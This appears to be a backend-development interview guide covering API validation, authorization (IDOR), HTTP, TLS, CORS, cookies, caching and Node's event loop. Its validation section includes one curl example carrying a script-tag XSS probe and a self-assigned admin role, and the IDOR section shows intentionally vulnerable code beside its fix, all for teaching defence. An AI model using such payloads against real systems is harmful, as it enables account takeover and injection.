Backend Development — Interview Questions

So the way I think about it is that the backend is the part of the system that runs on machines we control, and the browser is untrusted. Anyone can open DevTools, change the JavaScript, or skip the UI entirely and call the API with curl. So anything that actually matters has to be decided on the server.

When I break it down, the backend owns a handful of jobs:

• Persistence: storing data so it survives restarts, in a database or object storage.
• Business rules: can this user cancel this order, what discount applies.
• Auth: who is calling, and are they allowed to do this.
• Validation: the last line of defence against bad or malicious input.
• Integrations: payments, email, third-party APIs, AI services, with secrets the client must never see.
• Performance and observability: caching, background jobs, logs and metrics.

Let me give you an example. Say the price of a product is sent from the frontend in the checkout request. If the server trusts that number, I can edit the request and buy a laptop for one rupee. So in practice the client only sends the product ID and quantity, and the server looks up the price itself.

Interviewers look for: the word "untrusted" and a concrete example of why the client can't be the source of truth, not just a list of responsibilities.

So frontend validation is for user experience, and backend validation is for correctness and security. They solve different problems, so I always do both.

Let me give you an example. The signup form has a maxLength and an email pattern. But nothing stops someone from doing this:

curl -X POST https://api.shop.com/users \
  -H "Content-Type: application/json" \
  -d '{"email":"not-an-email","role":"admin","name":"<script>alert(1)</script>"}'

That request never touches my React code. If the server doesn't validate, I've got a garbage email, a script tag sitting in the database waiting to be rendered somewhere, and maybe a user who just gave themselves the admin role through mass assignment.

So on the server I validate the shape with a schema library like Zod, and I whitelist fields, so role just gets dropped:

const SignupSchema = z.object({
  email: z.string().email(),
  name: z.string().min(1).max(100),
  password: z.string().min(8),
});
const data = SignupSchema.parse(req.body); // role is stripped, not trusted

What I like is sharing that same schema with the frontend in a monorepo, so the rules can't drift apart, but the server copy is the one that counts.

So I picture it as a pipeline. The request comes in through DNS and TLS, hits a reverse proxy like Nginx or a load balancer, and then reaches my Node process, where it goes through a middleware chain, a controller, a service, and a repository that talks to the database. The response bubbles back up the same way.

Let me walk through a POST /orders in an Express app:

app.use(requestLogger);      // request id, timing
app.use(cors(corsOptions));
app.use(express.json({ limit: "100kb" }));
app.use(rateLimiter);
app.post("/orders", requireAuth, validate(OrderSchema), ordersController.create);
app.use(errorHandler);       // last: turns thrown errors into JSON + status

What happens here is each middleware either calls next() or ends the request. If the token is bad, requireAuth returns a 401 and the controller never runs. The controller only deals with HTTP: it reads the body and user, calls orderService.create(), and sends a 201. The service holds the rules, like checking stock. The repository is the only place that writes SQL.

The reason I describe it this way is that almost every backend framework, whether it's Express, NestJS, Spring or Django, is a variation of this. Once you know the pipeline, switching stacks is mostly learning new names.

Interviewers look for: the order of middleware mattering (body parser before validation, error handler last) and a clear split between HTTP concerns and business logic.

So for a tiny script, yes, it can be. But once an app has more than a few endpoints, the split pays for itself, because each layer has one reason to change and the dependencies only point one way: controller to service to repository, never backwards.

Let me give you an example from a project I worked on. We had order creation logic sitting inside an Express route handler. Then we needed the same logic from a queue worker that imported orders from a partner CSV. The worker has no req or res, so we ended up copy-pasting the logic, and the two copies drifted apart. That's the bug the layering prevents.

// service: knows nothing about HTTP
export async function createOrder(userId, items) {
  const stock = await productRepo.findMany(items.map((i) => i.productId));
  if (stock.some((p) => p.qty < 1)) throw new ConflictError("Out of stock");
  return orderRepo.insert({ userId, items });
}

// both callers reuse it
router.post("/orders", async (req, res) => res.status(201).json(await createOrder(req.user.id, req.body.items)));
queue.process("import-order", (job) => createOrder(job.data.userId, job.data.items));

The other win is testing. I can unit test createOrder with a fake repository and no HTTP server at all.

So in practice I keep it light, just plain modules and functions, not deep class hierarchies. The value is the boundaries, not the ceremony.

So that's an IDOR, an insecure direct object reference. It's the most common authorization bug I've seen: the code checks that you're logged in, but not that the thing you're asking for is yours.

// Buggy: authenticated, but no ownership check
router.get("/invoices/:id", requireAuth, async (req, res) => {
  const invoice = await db.invoice.findUnique({ where: { id: req.params.id } });
  res.json(invoice);
});

// Fixed: scope the query to the caller
router.get("/invoices/:id", requireAuth, async (req, res) => {
  const invoice = await db.invoice.findFirst({
    where: { id: req.params.id, userId: req.user.id },
  });
  if (!invoice) return res.status(404).json({ error: "Not found" });
  res.json(invoice);
});

What I like about the fix is that the ownership check is part of the query itself, so there's no window where I load someone else's data and then forget to check. I return 404 instead of 403 so I'm not confirming the invoice exists.

A second layer I add is non-guessable IDs, like UUIDs, so you can't just count upward. But that's defence in depth, not the fix. The real rule is that every data access is scoped to the current user or tenant, ideally enforced in the repository layer so nobody can forget it.

Interviewers look for: naming it (IDOR / broken object-level authorization, OWASP API #1) and fixing it in the query, not by hiding IDs.

So the first thing I want is data, not guesses. "Sometimes slow" usually means a tail latency problem, so I look at p95 and p99, not the average, and I try to find what the slow requests have in common.

My order of attack is roughly:

• Metrics: is it all endpoints or just checkout? Does it line up with traffic peaks, deploys, or a cron job?
• Traces: with OpenTelemetry, a single slow request shows me a waterfall. Is the time in our code, the database, or the payment provider?
• Logs: filter by request ID for the slow ones and look for retries, timeouts, or big payloads.

Let me give you an example from a real incident. Our checkout p99 spiked every day around the same time. The traces showed the time was all in one query that loaded the user's cart. It turned out a nightly analytics job was running heavy reports against the primary database, and that's when checkout slowed down. We moved the reports to a read replica and the spikes disappeared.

// the minimum I want on every request
logger.info({ reqId, route: "/checkout", status: 201, durationMs: 1840, dbMs: 1620 });

So in practice, I make sure every request carries a request ID through logs and traces, and I set up an alert on p99 per route. Without that, "sometimes slow" is almost impossible to pin down.

Interviewers look for: percentiles over averages, correlation with other events, and a structured approach (metrics to find where, traces to find which layer, logs for details).

So roughly: DNS turns the name into an IP, the client opens a TCP connection, does a TLS handshake, sends the HTTP request, and it lands on our load balancer or reverse proxy, which forwards it to one of our app instances.

Walking through it with https://api.shop.com/orders:

1. DNS: check browser cache, OS cache, then the resolver, which may walk root, .com, then our authoritative nameserver. We get back an A or AAAA record.
2. TCP: the three-way handshake, SYN, SYN-ACK, ACK, on port 443.
3. TLS: the server presents its certificate, the client verifies it against a trusted CA, and they agree on a symmetric key. With TLS 1.3 that's one round trip.
4. HTTP: the request goes out encrypted.
5. Our side: the load balancer terminates TLS, picks a healthy instance, and the request goes through our middleware and handlers. Then the response comes back the same path.

The reason this matters for backend work is that every one of those steps costs latency before our code even runs. That's why connection reuse with keep-alive, HTTP/2, and putting a CDN or edge close to users make such a difference.

Interviewers look for: the correct order (DNS, TCP, TLS, HTTP) and where TLS is terminated in a real deployment.

So TCP is connection-oriented and reliable: it guarantees the bytes arrive, in order, with no duplicates, and it retransmits anything lost. UDP just sends individual packets and hopes for the best. No handshake, no ordering, no retries, but very low overhead.

The way I'd explain when UDP wins: in a video call, if a packet from 200 milliseconds ago got lost, I don't want it retransmitted. It's useless now. TCP would hold up everything behind it waiting for that packet, which is exactly the lag you feel.

The interesting modern case is HTTP/3. It runs on QUIC, which is built on UDP, but QUIC re-implements reliability per stream in user space. So you get reliable delivery without TCP's head-of-line blocking across the whole connection.

So in practice, as a backend developer, almost everything I build sits on TCP. UDP matters when I'm reasoning about DNS, real-time media, or why HTTP/3 behaves better on flaky mobile networks.

So that's DNS caching. Every record has a TTL, and resolvers, operating systems and browsers are allowed to cache the answer for that long. If the TTL was 86400, some users can keep the old IP for up to a day. Some resolvers even ignore TTLs, so it can be a bit longer.

Let me give you how I'd plan a server migration properly:

1. A day or two before, lower the TTL on the record from, say, 24 hours to 60 seconds. I have to wait out the old TTL for that change to spread.
2. Keep the old and new servers both running and pointing at the same database, so it doesn't matter which one a user hits.
3. Switch the record. Within a minute or two, almost everyone moves over.
4. Watch traffic on the old server drain to zero, then turn it off, and raise the TTL again.

$ dig +noall +answer api.shop.com
api.shop.com.   60   IN   A   203.0.113.20

That 60 there is the remaining TTL, which is how I confirm the lower TTL is being served.

So in practice, a lot of teams avoid this problem entirely by pointing DNS at a load balancer or a CDN that never changes, and doing the switch behind it. Then DNS isn't part of the deploy at all.

Interviewers look for: "lower the TTL in advance", and running old and new side by side rather than a hard cutover.

So TLS gives three guarantees: confidentiality, nobody on the network can read the traffic; integrity, nobody can modify it without detection; and authenticity, the certificate proves I'm talking to the real api.shop.com, not someone in the middle.

What it doesn't protect is worth saying too. It doesn't hide which domain you're connecting to from the network in most cases, it doesn't protect data once it's on the server, and it doesn't stop a legitimate but malicious client from sending bad requests.

On where to terminate it: in most setups I've worked with, TLS is terminated at the load balancer or reverse proxy, and traffic to the Node app goes over plain HTTP inside a private network.

client ==HTTPS==> ALB / Nginx (cert here) --HTTP--> node :3000
                  sets X-Forwarded-Proto: https

// Express needs to trust the proxy to see the real IP and protocol
app.set("trust proxy", 1);

One gotcha I've hit: without trust proxy, req.ip is the load balancer's IP, so our rate limiter treated every user as one person, and Secure cookies weren't being set because Express thought the request was plain HTTP.

If compliance requires encryption everywhere, like in a zero-trust or PCI setup, we re-encrypt between the proxy and the app, or use a service mesh with mTLS.

So they overlap a lot, and one product often does all three, but the core idea of each is different. A reverse proxy sits in front of my app and handles things my app shouldn't. A load balancer spreads traffic across many instances. A CDN caches content at edge locations close to users.

Let me give you a concrete setup from a project: users hit Cloudflare first, which served our images and JS bundles from cache. API calls went through to an AWS Application Load Balancer, which terminated TLS and routed /api to three Node containers, checking /health on each every ten seconds. If one stopped responding, the ALB stopped sending it traffic.

The reason the distinction matters in an interview is debugging. If users see stale data, I suspect the CDN. If one in three requests fails, I suspect one bad instance behind the load balancer.

So that's almost always a graceful shutdown problem. When the orchestrator replaces an instance, it sends SIGTERM. If the Node process just exits, any request that's mid-flight gets cut off, and the load balancer may still be routing new requests to it for a few seconds because it hasn't noticed the instance is gone. Both show up as 502s.

The fix is to shut down in the right order: fail the health check first, stop accepting new connections, let in-flight requests finish, then close resources.

let shuttingDown = false;
app.get("/health", (req, res) =>
  shuttingDown ? res.status(503).end() : res.status(200).end());

const server = app.listen(3000);

process.on("SIGTERM", () => {
  shuttingDown = true;                 // LB marks us unhealthy
  setTimeout(() => {
    server.close(async () => {         // wait for in-flight requests
      await db.$disconnect();
      process.exit(0);
    });
    server.closeIdleConnections();     // drop idle keep-alive sockets
  }, 10_000);                          // give the LB time to notice
  setTimeout(() => process.exit(1), 30_000).unref(); // hard stop
});

What happens here is the health check starts returning 503, and I wait long enough for the load balancer to take us out of rotation. Then server.close stops new connections and fires its callback when existing ones finish. The last timer is a safety net so a hung request can't block the deploy forever.

One gotcha: in Docker, if the start command is npm start, npm might not forward SIGTERM to Node. I run node server.js directly, or use an init like tini.

Interviewers look for: the ordering (unhealthy, drain, close), keep-alive connections, and the signal-forwarding gotcha in containers.

So stateless means the protocol has no memory. Two requests from the same person a second apart are, as far as HTTP is concerned, totally unrelated. The server can't rely on "this is the same connection as before".

So we put the state into each request. The client carries something on every call that tells the server who it is:

GET /api/me HTTP/1.1
Host: api.shop.com
Cookie: sid=9f8a7c...            // session ID, looked up in Redis
// or
Authorization: Bearer eyJhbGc... // JWT, verified by signature

With a session cookie, the server stores the session and the cookie is just a pointer to it. With a JWT, the token itself carries the claims and the server verifies the signature. Either way, each request is self-contained.

The way I like to frame it is that statelessness looks like a limitation but it's actually the feature. Because no request depends on the last one, any instance behind the load balancer can handle any request. That's what makes horizontal scaling easy. If I kept sessions in memory on one Node process, I'd break that, so I keep them in a shared store like Redis.

Interviewers look for: connecting statelessness to horizontal scaling, and knowing in-memory sessions break behind a load balancer.

So POST creates something or triggers an action, PUT replaces a whole resource at a known URL, and PATCH partially updates it. PUT and DELETE are idempotent, POST isn't, and PATCH isn't guaranteed to be.

Idempotent means doing it five times leaves the server in the same state as doing it once. It's about the effect, not the response.

PUT /users/7        { "name": "Ada", "email": "ada@x.com" }  // x2: still Ada
POST /orders        { "productId": 42 }                       // x2: two orders
DELETE /orders/1001                                           // x2: still gone (2nd may 404)
PATCH /users/7      { "name": "Ada" }                         // idempotent
PATCH /accounts/7   { "op": "increment", "by": 10 }           // NOT idempotent

That last one is why I say PATCH isn't guaranteed. Setting a field is idempotent, but a PATCH that says "add 10" gives a different balance each time.

One gotcha with PUT: since it's a full replacement, if the client leaves out a field, technically that field should be cleared. A lot of APIs quietly treat PUT like PATCH, and then clients get confused. So I use PATCH for partial updates and keep PUT for when the client really sends the whole thing.

The reason any of this matters is retries. Proxies and clients retry idempotent requests automatically, so a non-idempotent POST being retried is how you get duplicate orders.

So 401 means "I don't know who you are": the credentials are missing, expired or invalid. 403 means "I know exactly who you are, and you're not allowed". The name 401 Unauthorized is misleading; it really means unauthenticated.

For 400 versus 422: 400 is for a request I can't even parse, like broken JSON. 422 is when the syntax is fine but the content fails validation, like an email field that isn't an email.

POST /orders  (no token)              → 401  + WWW-Authenticate header
POST /admin/users  (normal user)      → 403
POST /orders  body: {"qty": 2,        → 400  malformed JSON
POST /orders  body: {"qty": -5}       → 422  { errors: [{ field: "qty", ... }] }
POST /users   email already taken     → 409  Conflict
GET /invoices/99  (not yours)         → 404  hide that it exists

The practical reason 401 versus 403 matters: my frontend treats 401 as "try refreshing the token, and if that fails, send to login". A 403 should never trigger a logout, because logging in again won't help. I've seen an app get stuck in a login loop because the backend returned 401 for a permission error.

And on the last line, returning 404 instead of 403 for someone else's resource is a deliberate choice so I don't leak whether it exists.

Interviewers look for: the authentication vs authorization split, and a reason (client behaviour) rather than just the definitions.

So the fix is an idempotency key. The client generates a unique ID for the operation, like a UUID, and sends it with the request. The server stores the result against that key. If the same key comes in again, it returns the stored response instead of doing the work twice.

app.post("/payments", requireAuth, async (req, res) => {
  const key = req.get("Idempotency-Key");
  if (!key) return res.status(400).json({ error: "Idempotency-Key required" });

  // atomic claim: only one request can insert this key
  const claimed = await db.query(
    `INSERT INTO idempotency_keys (key, user_id, status)
     VALUES ($1, $2, 'processing') ON CONFLICT DO NOTHING RETURNING key`,
    [key, req.user.id]);

  if (claimed.rowCount === 0) {
    const row = await getKey(key, req.user.id);
    if (row.status === "processing") return res.status(409).json({ error: "In progress" });
    return res.status(row.http_status).json(row.response); // replay
  }

  const result = await chargeCard(req.body);
  await saveResult(key, 201, result);
  res.status(201).json(result);
});

What happens here is the INSERT ... ON CONFLICT DO NOTHING is the important bit. Checking "does the key exist?" and then inserting would have a race, where two retries arriving at the same moment both see nothing and both charge. Using the unique constraint makes the claim atomic.

A few details I'd call out: scope the key to the user, so one client can't replay another's; expire keys after a day or so; and if the request body differs for the same key, reject it with a 422. This is basically how Stripe's API works, and I'd also pass the same key down to the payment provider.

Interviewers look for: the race condition between check and insert, and handling the "still in progress" case.

So because status codes are the contract that everything else in the stack reads. Clients, proxies, monitoring and retry logic all look at the status, not the body. If I return 200 for a failure, all of them think it worked.

Let me give you an example I ran into. A team I worked with returned 200 with { success: false } from a payment endpoint. Our dashboards showed a 0% error rate while checkout was actually failing for a chunk of users, because the metrics were based on status codes. The alert never fired.

// Bad
res.status(200).json({ success: false, error: "Card declined" });

// Good
res.status(402).json({ error: { code: "card_declined", message: "Card declined" } });

Other things that break: a CDN might cache the "error" response as a success. A fetch call's res.ok is true, so every caller needs custom checks. Automatic retry logic that retries on 503 won't kick in.

The rule of thumb I use is: 4xx means the client must change something, 5xx means the client did nothing wrong and we failed. And then a consistent error body with a machine-readable code, so the frontend can show the right message.

So the big story is head-of-line blocking. HTTP/1.1 handles one request at a time per connection, so browsers open about six connections per host and requests queue up. HTTP/2 multiplexes many streams over one TCP connection, with binary framing and header compression. HTTP/3 moves to QUIC over UDP, so a lost packet only stalls its own stream, not the whole connection.

The way it affects my API design: some old HTTP/1.1 tricks become unnecessary. We used to bundle everything into one big request to avoid round trips. With HTTP/2, several small parallel requests are cheap, so I'm less tempted to build giant "fetch everything" endpoints.

In practice though, my Node app usually doesn't speak HTTP/2 or 3 to the browser at all. The CDN or load balancer does that, and talks HTTP/1.1 to my containers internally. Where HTTP/2 shows up directly is gRPC between services, which requires it.

One gotcha: HTTP/3 0-RTT early data can be replayed, so it should only be allowed for idempotent requests.

Interviewers look for: naming head-of-line blocking at both the HTTP and TCP level, and knowing the edge usually handles the protocol for you.

So browsers enforce the Same-Origin Policy: JavaScript running on one origin can't read responses from another origin unless that server explicitly allows it. An origin is scheme plus host plus port, so http://localhost:5173 and http://localhost:3000 are different origins. CORS is the set of headers where the server says "this origin is allowed to read my responses".

Postman works because CORS is enforced by the browser, not the server. Postman, curl and other servers simply don't apply it.

import cors from "cors";

app.use(cors({
  origin: ["https://shop.com", "http://localhost:5173"],
  credentials: true,
}));

// response header the browser checks:
// Access-Control-Allow-Origin: https://shop.com

What I always stress is that CORS is not a security feature for the server. It protects users' browsers from malicious sites reading their data. Anyone can still call my API directly, so CORS never replaces authentication.

One thing people misread: for a simple request, the request actually reaches the server and runs. The browser just blocks JavaScript from reading the response. So a missing CORS header doesn't mean the POST didn't happen.

Interviewers look for: "enforced by the browser", the definition of origin including port, and "CORS is not authentication".

So they're the three flags I set on basically every auth cookie. HttpOnly stops JavaScript from reading it, Secure makes the browser only send it over HTTPS, and SameSite controls whether it's sent on cross-site requests.

res.cookie("sid", sessionId, {
  httpOnly: true,     // document.cookie can't see it: XSS can't steal it
  secure: true,       // never sent over plain http
  sameSite: "lax",    // not sent on cross-site POSTs: CSRF defence
  maxAge: 7 * 24 * 60 * 60 * 1000,
  path: "/",
});

Walking through why each matters: if an attacker gets an XSS script onto my page, HttpOnly means they can't just read the token and send it to their server. Secure stops it leaking on a public Wi-Fi over HTTP. And SameSite handles CSRF, where some other site submits a form to my API and the browser helpfully attaches the cookie.

On the SameSite values: Strict never sends it cross-site, even when you click a link to my site from an email, which feels like being logged out. Lax, the modern browser default, sends it on top-level navigations but not on cross-site POSTs or fetches. None sends it everywhere and requires Secure; I only use it when the frontend and API are on genuinely different sites.

And if there's no Max-Age or Expires, it's a session cookie that disappears when the browser closes.

So a preflight is an OPTIONS request the browser sends before the real one, asking "is this allowed?". It happens whenever the request isn't a "simple" one: any method other than GET, HEAD or POST, a custom header like Authorization, or a Content-Type of application/json. So in practice, most real API calls get preflighted.

OPTIONS /api/orders
Origin: https://shop.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization

204 No Content
Access-Control-Allow-Origin: https://shop.com
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE
Access-Control-Allow-Headers: content-type, authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 600

That Max-Age lets the browser cache the preflight result for ten minutes, otherwise every call costs two round trips. Browsers cap it, Chrome at two hours.

For cookies across origins, three things all have to line up: the client uses fetch(url, { credentials: "include" }), the server sends Access-Control-Allow-Credentials: true, and Allow-Origin must be the exact origin, not *. The wildcard is rejected with credentials.

One gotcha I've hit: my auth middleware ran before CORS and returned 401 on the OPTIONS request, because preflights don't carry credentials. So the CORS middleware has to come first. The other classic mistake is reflecting any Origin header back with credentials enabled, which basically turns CORS off. I always check against an allowlist.

Interviewers look for: what triggers a preflight (JSON content type counts), the no-wildcard-with-credentials rule, and middleware order.

So the names are confusing. no-store means never cache this anywhere. no-cache means you may cache it, but you must check with the server before using it. So no-cache is really "always revalidate".

ETags are what make that revalidation cheap. The server sends a fingerprint of the content, the browser sends it back, and if nothing changed the server replies 304 Not Modified with no body.

// first request
GET /api/products/42
200 OK
ETag: "a1b2c3"
Cache-Control: no-cache

// next request
GET /api/products/42
If-None-Match: "a1b2c3"
304 Not Modified          // no body, browser uses its copy

Express actually generates weak ETags for responses by default, so you get this almost for free on GET endpoints.

How I pick in practice:

• Bank statements, anything personal: Cache-Control: no-store.
• Data that changes but is expensive to send: no-cache plus an ETag.
• Hashed static assets like app.9f2c.js: public, max-age=31536000, immutable, because a new deploy gets a new filename.

One subtle point: a 304 still costs a round trip. It saves bandwidth, not latency. If I want to skip the round trip, I need a max-age.

So my default for browser apps is an HttpOnly, Secure, SameSite cookie. The main reason is XSS: anything in localStorage can be read by any script on the page, including a compromised npm package or an injected script. An HttpOnly cookie can't be read by JavaScript at all.

The trade-off is that cookies are sent automatically, so they bring CSRF into the picture, and localStorage doesn't have that problem.

Let me give you how I set it up on my last project. A short-lived access token, fifteen minutes, and a longer refresh token, both in HttpOnly cookies with SameSite=Lax. The refresh cookie had Path=/auth/refresh so it only got sent to that one endpoint. For state-changing requests we also checked the Origin header as an extra CSRF guard.

I'd be honest that cookies don't make XSS harmless. An attacker's script can still make requests as the user while it runs. But it can't take the token away and use it for days. For mobile apps, I use bearer tokens in secure device storage instead.

Interviewers look for: the XSS vs CSRF trade-off stated clearly, and not claiming cookies make you immune to XSS.

So the CDN cached a personalised response and served it to a different user. It's one of the scariest caching bugs, and it usually comes from an endpoint returning a cacheable Cache-Control header, like public, max-age=60, on a response that depends on the cookie or Authorization header.

// The bug: a global middleware set this for "performance"
res.set("Cache-Control", "public, max-age=60");

// GET /api/me as Alice → CDN caches it under the URL "/api/me"
// GET /api/me as Bob   → CDN serves Alice's response

The CDN's cache key is usually just the URL, so it has no idea two users are different.

The fix has a few layers:

• Any personalised response gets Cache-Control: private, no-store. private means browsers may cache but shared caches like CDNs must not.
• Default to not cacheable. I make API routes no-store by default and opt specific public endpoints into caching, not the other way around.
• Configure the CDN to bypass cache when a session cookie or Authorization header is present.
• Use Vary when a response really varies by a header, like Vary: Accept-Encoding. I avoid Vary: Cookie as the fix, because it wrecks the hit rate and some CDNs ignore it.

After an incident like that, I'd also purge the CDN cache immediately, and treat it as a data leak, not just a bug.

Interviewers look for: "private vs public", the cache key being the URL, and a safe default of opting in to caching.

So the honest answer is: your JavaScript is single-threaded, but Node as a process isn't. My code runs on one main thread with one call stack, but underneath, libuv and the operating system are doing a lot in parallel.

Let me break down where the work actually happens:

• Network I/O, like sockets and HTTP, uses the OS's own async mechanisms, epoll on Linux, kqueue on macOS. No extra threads needed.
• File system, DNS lookups, some crypto and zlib run on libuv's thread pool, four threads by default.
• V8 has its own background threads for garbage collection and compiling.

const crypto = require("node:crypto");
// These four run in parallel on the thread pool, not one after another
for (let i = 0; i < 4; i++) {
  crypto.pbkdf2("pw", "salt", 100_000, 64, "sha512", () => console.log("done", i));
}

If Node were truly single-threaded, those four hashes would take four times as long as one. On a machine with four or more cores, they finish at about the same time.

So the practical takeaway is that I don't need to worry about races on my JavaScript variables, but I do need to worry about blocking that one main thread, because while my code is busy, nothing else in the process gets to run.

Interviewers look for: "single-threaded for your JavaScript, not for I/O", and knowing that network I/O doesn't use the thread pool.

So Node is basically three pieces glued together. V8 is Google's JavaScript engine, the same one in Chrome, and it parses, compiles and runs my JavaScript. libuv is a C library that provides the event loop, the thread pool and cross-platform async I/O. And then Node's own standard library, modules like fs, http and crypto, sits on top, with JavaScript APIs that call into C++ bindings.

Let me trace one call to show how they cooperate:

fs.readFile("config.json", (err, data) => { /* ... */ });

What happens here is V8 runs my line of JavaScript, which calls into Node's fs module. That goes through a C++ binding into libuv, which puts the file read on a thread-pool thread. My JavaScript carries on immediately. When the read finishes, libuv queues the callback, and on a later turn of the event loop, V8 runs it with the data.

The reason this split matters is that V8 by itself knows nothing about files or sockets. In the browser, those capabilities come from the browser. In Node, they come from libuv and the bindings.

It's also why Bun and Deno exist as alternatives: Deno uses V8 with a Rust runtime instead of libuv, and Bun uses JavaScriptCore with its own Zig runtime. Same language, different engines and I/O layers.

So the key insight is that most of those 10,000 connections are waiting, not working. They're waiting on the database, on the network, on a slow client. A thread-per-request server gives each one a whole OS thread, with around a megabyte of stack each, and pays for context switches, even though most of those threads are just sleeping.

Node keeps one thread and lets the kernel watch the sockets. An idle connection costs a small object and a file descriptor, not a thread.

app.get("/orders", async (req, res) => {
  const orders = await db.query("SELECT ...");  // ~40ms of waiting
  res.json(orders);                               // ~1ms of actual CPU
});

Walking through it: during that await, the main thread isn't stuck. It hands the query off and goes to handle other requests. If each request uses 1ms of CPU and 40ms of waiting, one thread can in theory keep hundreds of requests in flight at once.

The trade-off is the flip side of the same design. It's excellent for I/O-bound work like APIs, gateways and real-time chat. But if one request does 500ms of CPU work, every other request waits, because there's no other thread to pick them up.

I'd also mention that modern Java has closed a lot of this gap with virtual threads, so "Node scales, threads don't" is a bit dated. The real distinction is I/O-bound versus CPU-bound.

Interviewers look for: the "waiting is cheap" argument and the CPU-bound trade-off in the same breath.

So my first suspicion would be libuv's thread pool. It only has four threads by default, and it's shared by fs, dns.lookup, async crypto like pbkdf2 and scrypt, and zlib. If login hashes passwords with an async bcrypt or scrypt, and each hash takes around 100ms, only four can run at once. Everything else queues.

Let me give you what that looks like. Fifty users log in at the same moment. Four hashes run, forty-six wait. The fiftieth user waits about 13 rounds of 100ms, over a second, even though the main thread is idle and CPU looks fine on a big machine.

# give the pool more threads; must be set before the pool is first used
UV_THREADPOOL_SIZE=16 node server.js

A second sneaky one is DNS. dns.lookup, which is what http and most clients use by default, also runs on the thread pool. If DNS is slow, it can starve file reads and hashing.

How I'd confirm it: time the hashing separately and watch whether latency grows in steps as concurrency increases. How I'd fix it: raise UV_THREADPOOL_SIZE to roughly the number of cores, rate limit login anyway, and at larger scale run more instances so the pool isn't the bottleneck.

Interviewers look for: knowing what actually uses the thread pool and its default size of four. It's a favourite "gotcha" for senior roles.

So I'd avoid Node for services where the main work is heavy CPU computation: video transcoding, image processing at scale, large numeric work, ML training. In those cases, the single main thread becomes the bottleneck, and languages like Go, Rust, Java or Python with native libraries are a better fit.

Let me give you a real example. On a project with product image uploads, our Node API accepted the upload, stored the original in S3, and queued a job. A separate worker did the resizing with sharp, which uses native code off the main thread. The API stayed fast because it never did the CPU work itself.

That's usually how I'd answer in practice: it's rarely "Node or not" for a whole company. Node is great for the API layer, especially when the team already writes TypeScript on the frontend and can share types. The CPU-heavy parts go to workers, worker threads, or a service in a better-suited language.

So there are really three options, and they solve different problems. The cluster module forks several Node processes that share one port. Worker threads run JavaScript in parallel inside one process, for CPU-heavy tasks. And the option I use most in production is just running more instances, one small container per core, behind a load balancer.

// worker_threads: keep the main thread free for requests
import { Worker } from "node:worker_threads";

function runReport(params) {
  return new Promise((resolve, reject) => {
    const w = new Worker(new URL("./report-worker.js", import.meta.url), { workerData: params });
    w.once("message", resolve);
    w.once("error", reject);
  });
}

The reason I prefer containers over cluster in Kubernetes is that the orchestrator already handles restarts, scaling and health checks per process, so cluster just adds a second layer doing the same thing.

For worker threads, one gotcha is that spawning a worker is expensive, tens of milliseconds, so for a request path I'd use a pool like piscina instead of one worker per request. And whichever option I choose, in-memory state like sessions or caches is no longer shared, so it has to live in Redis or the database.

Interviewers look for: distinguishing throughput scaling (processes) from CPU offloading (threads), and the consequence for in-memory state.

So the event loop is the thing that decides what JavaScript runs next on Node's single main thread. It runs my synchronous code first, then keeps looping: pick up callbacks that are ready, like expired timers or finished I/O, run them one at a time, and in between, drain the microtask queues.

Node's loop goes through phases in order, each with its own queue:

1. timers: setTimeout and setInterval callbacks that are due.
2. pending callbacks: some deferred system callbacks.
3. poll: wait for and run I/O callbacks, like a finished file read or incoming request.
4. check: setImmediate callbacks.
5. close callbacks: things like a socket's close event.

And between every single callback, Node drains the process.nextTick queue and then the promise microtask queue, completely.

The mental model I use is a restaurant with one chef. The chef never waits at the oven. They put something in, set a timer, and cook the next order. When the timer rings, that dish goes back into the queue. It works brilliantly as long as no single order takes the chef twenty minutes of chopping.

Interviewers look for: the phases in order, and that microtasks run between callbacks, not only at the end of a phase.

console.log("A");
setTimeout(() => {
  console.log("B");
  Promise.resolve().then(() => console.log("C"));
  process.nextTick(() => console.log("D"));
}, 0);
setTimeout(() => console.log("E"), 0);
Promise.resolve().then(() => {
  console.log("F");
  process.nextTick(() => console.log("G"));
});
process.nextTick(() => console.log("H"));
console.log("I");

So in a CommonJS file on modern Node, this prints A I H F G B D C E.

Walking through it: A and I are synchronous. Then the microtasks drain, and nextTick goes before promises, so H, then F. Inside F we queue another nextTick, and since Node keeps draining until both queues are empty, G runs before we ever leave this step.

Then we reach the timers phase. The first timer logs B and queues a promise and a tick. Here's the important part: since Node 11, Node drains microtasks after each timer callback, not after the whole phase. So D, the tick, then C, the promise, run before the second timer. Then E.

On Node 10 and earlier, you'd have seen B E D C, which is why older blog posts disagree. The modern behaviour matches browsers.

Interviewers look for: nextTick before promises, microtasks drained fully (G before B), and microtasks between individual timers.

So nextTick runs as soon as the current operation finishes, before the event loop moves on at all. setImmediate runs in the check phase, right after the current poll phase. And setTimeout(fn, 0) runs in the next timers phase, with the delay actually clamped to at least 1ms.

The fun part is the ordering between the last two. At the top level of a script, setTimeout versus setImmediate is not deterministic, because it depends on whether a millisecond has passed when the loop starts. But inside an I/O callback, setImmediate always wins:

const fs = require("node:fs");
fs.readFile(__filename, () => {
  setTimeout(() => console.log("timeout"), 0);
  setImmediate(() => console.log("immediate"));
  process.nextTick(() => console.log("nextTick"));
  Promise.resolve().then(() => console.log("promise"));
});
// nextTick, promise, immediate, timeout

What happens here is we're in the poll phase. Microtasks run first. Then the loop goes to the check phase, setImmediate, before it wraps back round to timers.

In practice, I almost never reach for nextTick in application code. setImmediate is what I use to yield, for example to break a big loop into chunks so other requests can get in. The naming is honestly backwards: nextTick is the more immediate one. The Node docs even say so.

So that pattern, where one route hurts every route, is the signature of blocking the event loop. Some handler is doing synchronous CPU work, and while it runs, nothing else in the process can.

The usual culprits I look for are: fs.readFileSync or other sync APIs in a request path, JSON.parse or JSON.stringify on a huge payload, sorting or looping over a massive array, sync bcrypt, and regexes that backtrack badly.

To confirm it, I measure event loop delay, which Node has built in:

import { monitorEventLoopDelay } from "node:perf_hooks";

const h = monitorEventLoopDelay({ resolution: 20 });
h.enable();
setInterval(() => {
  console.log({ p99ms: h.percentile(99) / 1e6, maxMs: h.max / 1e6 });
  h.reset();
}, 10_000);

If p99 delay is normally around 20ms and it spikes to 2 seconds whenever someone hits /export, I've found it. Then a CPU profile with node --cpu-prof or Clinic shows which function.

Let me give you a real one: we had an admin endpoint that built a report by loading 200,000 rows and running JSON.stringify on the whole thing. Every request on that pod stalled for about three seconds. We fixed it by streaming the rows out in pages, and for heavier reports we moved the work to a background job and returned 202 with a job ID.

